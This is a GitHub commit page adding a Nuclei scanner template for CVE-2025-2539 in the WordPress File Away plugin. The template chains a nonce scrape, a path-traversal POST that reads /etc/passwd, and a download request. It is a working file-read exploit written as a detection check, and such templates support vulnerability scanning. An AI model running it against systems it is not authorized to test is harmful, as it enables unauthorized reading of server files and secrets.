Skip to content

Commit 41b4650

Browse files
authored
Merge pull request #11814 from projectdiscovery/CVE-2025-2539
Create CVE-2025-2539.yaml
2 parents 3b4d054 + 475b594 commit 41b4650

File tree

1 file changed

+83
-0
lines changed

1 file changed

+83
-0
lines changed

http/cves/2025/CVE-2025-2539.yaml

+83
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
id: CVE-2025-2539
2+
3+
info:
4+
name: File Away <= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File Read
5+
author: iamnoooob,rootxharsh,pdresearch
6+
severity: high
7+
description: |
8+
The File Away plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ajax() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers, leveraging the use of a reversible weak algorithm, to read the contents of arbitrary files on the server, which can contain sensitive information.
9+
reference:
10+
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-away/file-away-39901-missing-authorization-to-unauthenticated-arbitrary-file-read
11+
- https://plugins.trac.wordpress.org/browser/file-away/trunk/lib/cls/class.fileaway_encrypted.php
12+
- https://plugins.trac.wordpress.org/browser/file-away/trunk/lib/cls/class.fileaway_stats.php
13+
- https://wordpress.org/plugins/file-away/#developers
14+
- https://www.wordfence.com/threat-intel/vulnerabilities/id/5b23bd5c-db27-4d63-8461-1f36958a2ff6?source=cve
15+
classification:
16+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
17+
cvss-score: 7.5
18+
cve-id: CVE-2025-2539
19+
cwe-id: CWE-327
20+
epss-score: 0.00038
21+
epss-percentile: 0.08036
22+
metadata:
23+
verified: true
24+
max-request: 1
25+
publicwww-query: "/wp-content/plugins/file-away/"
26+
tags: cve,cve2025,lfi,file-away,wordpress,wp-plugin,wp
27+
28+
flow: http(1) && http(2) && http(3)
29+
30+
http:
31+
- raw:
32+
- |
33+
GET / HTTP/1.1
34+
Host: {{Hostname}}
35+
36+
extractors:
37+
- type: regex
38+
name: nonce
39+
group: 1
40+
regex:
41+
- 'fileaway_stats.*admin-ajax.php","nonce":"([0-9a-zA-Z]+)"}'
42+
internal: true
43+
44+
- raw:
45+
- |
46+
POST /wp-admin/admin-ajax.php HTTP/1.1
47+
Host: {{Hostname}}
48+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
49+
50+
action=fileaway-stats&nonce={{nonce}}&file=/../../../../../../../../etc/passwd
51+
52+
matchers:
53+
- type: word
54+
part: body
55+
internal: true
56+
words:
57+
- fileaway_download
58+
59+
extractors:
60+
- type: regex
61+
part: body
62+
internal: true
63+
name: download_url
64+
group: 1
65+
regex:
66+
- '".*(\?.*?)"'
67+
68+
- raw:
69+
- |
70+
GET /{{download_url}} HTTP/1.1
71+
Host: {{Hostname}}
72+
73+
matchers-condition: and
74+
matchers:
75+
- type: regex
76+
part: body
77+
regex:
78+
- 'root:.*:0:0:'
79+
80+
- type: word
81+
part: content_type
82+
words:
83+
- "application/force-download"

0 commit comments

Comments
 (0)